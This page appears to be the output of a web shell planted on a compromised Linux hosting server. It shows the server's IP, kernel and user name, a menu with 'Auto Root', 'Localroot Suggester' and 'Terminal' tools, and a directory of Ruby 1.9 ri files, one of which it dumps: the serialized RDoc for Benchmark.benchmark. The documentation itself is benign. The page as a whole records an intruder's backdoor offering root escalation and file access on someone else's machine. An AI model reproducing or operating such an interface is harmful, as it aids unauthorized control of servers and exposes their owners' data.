Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
share /
ri /
1.9.1 /
system /
Benchmark /
Delete
Unzip
Name
Size
Permission
Date
Action
Tms
[ DIR ]
drwxr-xr-x
2026-05-01 04:24
benchmark-c.ri
1.95
KB
-rw-r--r--
2023-07-26 17:26
benchmark-i.ri
1.95
KB
-rw-r--r--
2023-07-26 17:26
bm-c.ri
983
B
-rw-r--r--
2023-07-26 17:26
bm-i.ri
983
B
-rw-r--r--
2023-07-26 17:26
bmbm-c.ri
1.76
KB
-rw-r--r--
2023-07-26 17:26
bmbm-i.ri
1.76
KB
-rw-r--r--
2023-07-26 17:26
cdesc-Benchmark.ri
4.51
KB
-rw-r--r--
2023-07-26 17:26
measure-c.ri
289
B
-rw-r--r--
2023-07-26 17:26
measure-i.ri
289
B
-rw-r--r--
2023-07-26 17:26
realtime-c.ri
261
B
-rw-r--r--
2023-07-26 17:26
realtime-i.ri
261
B
-rw-r--r--
2023-07-26 17:26
Save
Rename
U:RDoc::AnyMethod[iI"benchmark:EFI"Benchmark::benchmark;FT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"FInvokes the block with a <tt>Benchmark::Report</tt> object, which;TI"Cmay be used to collect and report on the results of individual;TI"Dbenchmark tests. Reserves <i>label_width</i> leading spaces for;TI"<labels on each line. Prints _caption_ at the top of the;TI"3report, and uses _format_ to format each line.;TI"0Returns an array of Benchmark::Tms objects.;To:RDoc::Markup::BlankLine o; ; [ I"%If the block returns an array of;TI"B<tt>Benchmark::Tms</tt> objects, these will be used to format;TI":additional lines of output. If _label_ parameters are;TI"6given, these are used to label these extra lines.;T@o; ; [I"K_Note_: Other methods provide a simpler interface to this one, and are;TI"Lsuitable for nearly all benchmarking requirements. See the examples in;TI".Benchmark, and the #bm and #bmbm methods.;T@o; ; [I" Example:;T@o:RDoc::Markup::Verbatim; [I"require 'benchmark' ;FI"Kinclude Benchmark # we need the CAPTION and FORMAT constants ;FI" ;FI"n = 50000 ;FI"HBenchmark.benchmark(CAPTION, 7, FORMAT, ">total:", ">avg:") do |x| ;FI"? tf = x.report("for:") { for i in 1..n; a = "1"; end } ;FI"? tt = x.report("times:") { n.times do ; a = "1"; end } ;FI"? tu = x.report("upto:") { 1.upto(n) do ; a = "1"; end } ;FI" [tf+tt+tu, (tf+tt+tu)/3] ;FI" end ;Fo; ; [I"<i>Generates:</i>;T@o;; [I"9 user system total real ;FI":for: 1.016667 0.016667 1.033333 ( 0.485749) ;FI":times: 1.450000 0.016667 1.466667 ( 0.681367) ;FI":upto: 1.533333 0.000000 1.533333 ( 0.722166) ;FI":>total: 4.000000 0.033333 4.033333 ( 1.889282) ;FI"9>avg: 1.333333 0.011111 1.344444 ( 0.629761);F: @file00I"report;F[ I"=(caption = "", label_width = nil, format = nil, *labels);TI"lib/benchmark.rb;T